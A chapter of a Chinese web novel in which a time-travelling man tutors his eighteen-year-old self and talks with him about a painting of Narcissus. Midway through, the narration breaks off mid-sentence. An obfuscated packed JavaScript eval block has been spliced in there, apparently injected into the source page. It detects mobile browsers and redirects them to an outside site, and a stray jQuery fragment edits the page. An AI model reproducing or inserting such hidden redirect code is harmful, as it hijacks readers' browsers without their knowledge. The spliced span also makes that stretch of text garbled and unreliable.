沈止看着沈疾川。
那深藏着的、对某种东西的渴求,让他有些恍惚了,原来他少年时对别人露出这番情茂的时候,竟显得这般可怜么?
有一瞬间,他几乎就要点头。
以兄长的身份来给他关爱,似乎也不错?
但很快他就清醒过来,平日叫哥无所谓,真成哥了就麻烦了,他来这里不是给他当哥哥的。
沈止放下筷子道:“我今年二十八岁,你多大?”
他语气淡,神色更淡,明明两人是几乎一样的脸,但他只要眉间稍有折痕,浓黑眼睫下一双眼冷淡理智到极点,露出不赞同的神色时,那股由年龄和阅历带来的难言压迫感便令人忍不住屏息。
“十八。”
沈止点头:“你的意思是,有一对男女,在二十八年前生下了我,丢掉了,又在十八年前生下了你,也丢掉了。而恰巧,他们生下的这两个孩子长得近乎一样?”
未免太过离谱了,想也知道不可能。
沈疾川听出他声音里轻哂的意味,掩饰尴尬般轻咳一声。
“也说不准呢……”他咕哝道。
沈止摇头:“别想了,我们不可能有血缘关系。你若实在不信,我们抽时间做个亲缘关系鉴定也可以,花费由我承担。”
真说道这儿,沈疾川反而往后缩了起来,他又将筷子捏紧,闷声说:“不用…不说这个了。”
话题轻轻揭过。
一顿饭吃完不过半个小时,沈疾川收拾完碗筷,就坐到了客厅里的大书桌前。
当时租房子的时候,沈止发现这里没有专门的书房,就叫房东把电视机电视柜全搬走了,现在原本是电视的地方,放了张豪华大书桌。
上面摆满了各类书籍和资料。
之前来的时候,沈疾川怕书桌重地他碰坏了什么,都没细看,这次倒是能光明正大看了。
高中阶段的各种理科试题就不用说了,十分全乎,吸引他注意力的是上面医学类的书籍。
“《漫画医学史》日文原版,《The Emperor of Maladies》这是还没有中文译本的众病之王,《枪炮、病菌与钢铁》,”沈疾川眼眸晶亮,“《格氏解剖学》、《生理学》、《病理学》……”
“沈哥,你是医学生?”
沈止正在给他圈今天晚上要做的题,闻言说:“没,我学设计的。”
沈疾川把自己的视线从这些书上撕下来,注意到书桌角落里确实摞着几本不起眼的设计类书籍。
“好了,你看一下,”沈止让他在书桌前端正坐好,自己则懒懒挨着桌沿坐靠下来,“这是你要在十点前完成的题目。”
沈疾川略数了数,看了眼时间,现在是晚上七点五十五,十点结束。
“两个小时,二十道数学填空题,十五道物理大题,三道化学流程题,三道生物基因题。”
他头皮开始发麻。
“沈哥,我要是做不完,会罚钱吗?”
沈止:“不会,但是你得带回去,明天早晨九点,交到我手上。”他轻笑着,手中的笔在题册上点了点,“签了合同,就感受一下邪恶资本家的压榨吧。这还只是开始。”
沈疾川:“这样操练一个寒假,我觉得开学我就是全校第一了。”
“全校第一,考E大的医学系也不是很稳,”沈止说,“练一段时间,我专门给你出张卷子看看。”
沈疾川突然安静。
他迟疑道:“沈哥,你怎么知道,我想考E大的医学系,我好像并没有跟你说过。”
沈止指尖一顿,过了一会儿,才神色如常道:“哦,不好意思,考E大医学系是我高中时的梦想,见你要高考,一时恍惚说错了。”
沈疾川试探:“沈哥没考上E大?”
沈止平静道:“考上了,但是考之前出了场车祸,右手废了,虽然还能用,但当不了能站在手术台上的医生也没意思,后来伤好后复读,读了别的专业。”
他三言两语简洁概括。
车祸?
沈疾川诧然望向他撑在桌面上的右手。
黑沉沉的睡衣掩着,露出来的手腕骨感苍白,但是看不见手臂如何。
“虽然没办法当医生了,但你对这个专业的喜爱依然在延续,”沈疾川看着书桌上那些珍贵的原版书籍,开了个玩笑,“不是有句话说,当喜爱变成工作的时候,就只剩下相看两厌了吗?”
沈止睨他,道:“等你当上医生,我等着看你跟工作相看两厌。”
沈疾川老实闭嘴做题。
沈止则单腿蹦着回卧室拿了个画架,出来的时候,他已经戴上了一副银框眼镜,半长发依旧扎拢在脑后。
只不过戴了副眼镜而已,他身上冷淡理智的气质瞬间被放大了,还多了点斯文的艺术家气息。
沈疾川注意到了,忍不住回头,看了眼后扭头又看。
脑海中不禁闪过他看过的杂志模特衣服配饰。
银框眼镜、低垂淡漠的眉眼,似乎越淡薄的人越适合浓烈的颜色。
沈先生就很合适模特杂志上那套暗红的西装衬衫。
他记得那套衣服的腰带很酷,黑色的腰带带着细鳞,和蛇一样缠绕腰间,右手拿着短鞭,笔直的西装裤配上黑色红底小高跟皮鞋,踩在臣服者的肩膀上。
笔尖落在画板上的摩擦声,让沈疾川瞬间回神,他赶忙驱散脑海里的画面。
真是抽风了,乱想什么呢。
沈止没察觉他的偷看,用削好的铅笔在画板上勾线。
他读了E大的设计专业,在大学时期就陆陆续续接活,还学了画画。
后来又读了本专业的研究生,毕业后去了一所大专任教,一边教课,一边跟着好友的团队,接室内设计订单。
那时他在业内小有名气,设计费是室内每平方米来累加,从工作当日起,按照日薪计算,结束后还有奖金分成。
不过他并不喜欢这份工作,每年接上几单,只是想让自己忙起来。
懒得动的时候,他更喜欢画画,油画、人物、随意涂鸦、还时不时画一些拟人和小说同人。
穿越之前,他微博的粉丝也有大几十万了。
如今来到这里,之前的积累全部消弭,只剩下七八十万的存款,又要养小孩,总不能坐吃山空。
但室内设计,现在时兴的风格和十年后时兴的风格,多少有出入,他还要做做功课。
绘画就不需要做功课了,他主要是给自己找点事做,他来到这里只是为了沈疾川,但沈疾川不是每时每刻都陪着他,在他身边。
等待沈疾川的时候,他会陷入漫无边际的空茫之中,耳边梦魇般的细语会放大、放大,几乎就要回到他停药之前的状态。
这是很危险的信号,他即刻采取预防措施,让自己在等待的时候,有事能转移注意力。
2011年年末,E大举办了一场画展,题目是:《我》
投稿时间是半年,择选三百件画稿,在2012年九月份,新生入校的时候,开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650312|172680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
办画展。
不限本校学生投稿,允许社会人士来稿,前十名奖金共二十万,如果有谁看中了画作,也可以联系作者买走。
那时他很关注E大的消息,更喜欢《我》这个题目,对画展当然有所了解,但是不多,只一心铺在复习上,想着要是他能考上,开学就能看到画展。
可惜……
铅灰色的痕迹将画板从斜对角分开,沈止一边画,思绪散漫飘远。
他更想复刻穿越前一直在画的那一幅油画,不过油画有味道,要是画的话,他得再租一间小工作室。
等脚踝好了再说吧。
两个小时,在勾线和刷题中飞速而逝,十点的闹钟响起来的时候,两人都是一脸的意犹未尽。
沈疾川的题果然没做完,打算明天早起收收尾。
“沈哥,那我就回家了?”他将桌面的试题塞进书包里,回头看了一眼,沈止还在还在画画。
沈疾川不免好奇,轻手轻脚的凑近。
沈止头也没抬,“想看就看。”
沈疾川便大大方方的探头过来,画板上画的什么还不分明,但他一眼就看见了在画板上面支着的手机屏幕,屏幕上是一副油画,标注了画作的名称——
《那西索斯》。
朦胧光影下,一个英俊的男子趴在水边,油画的背景极其简单,明暗对比鲜明,更凸显出一种宁静和虚幻,他注视着水中自己的倒影,神情似疑惑、似哀伤、似深情。
整幅画充斥着十六世纪希腊神话的风味。
沈止:“知道这幅画吗?”
沈疾川摇头。
沈止:“画中人叫那西索斯,他因生得俊美,被神灵告知他的父母,不要让他看见自己的样子。可是,他还是在溪水中看见了自己的模样,一眼,他就爱上了自己,从此对周围事物无动于衷,困死在自己没有结果的爱意中。”
“死后,他化作水仙花,Narcissus,是他的名字,也代表了水仙。”
沈疾川听罢,再看这幅画的时候,就感觉到了一种宁静的悲剧。
想了想,他说:“即便触摸不到,那注视也是好的吧,他爱上自己,与溪水和镜子相伴,他变老一分,他爱的自己也变老一分,他生则爱生,他死则爱泯,也算白头到老,携手一生了。”
沈止停下勾线的手,抬起头,眼中头一次漾起浅浅的笑意。
“我年少时也是这样想的。”
“现在呢?”
“长大后再看这幅画,我只觉得‘凝视既死亡’,”沈止说,“每一次照镜子,每一次‘凝视’,都在告诉我,他是不存在的,当我不看他的时候,他存在在我心中,当我凝视他的时候,就会清晰的意识到他并不存在,那一刻,我就亲手‘杀死’了他。”
他深深注视着眼前的少年:“每一次贪恋的凝视,带来的都只是绝望而已。”
沈疾川细细思索着他的分析,是有道理的,但他并不认同。
画中人既爱上了自己,那自己永远会和自己在一起,即便触摸不到又有什么?
沈先生的分析,听着似乎平淡,但藏着的是很消极的负面情绪。
沈止:“不过,我说的是我长大后的想法,你问的是我现在的想法。”
沈疾川从沉思中抬起头, “嗯?现在什么想法。”
沈止毫无预兆的伸手,微凉苍白的手指扣住了他的手腕。
在沈疾川的愕然中,他轻轻一笑。
“现在,我可以触摸到了。”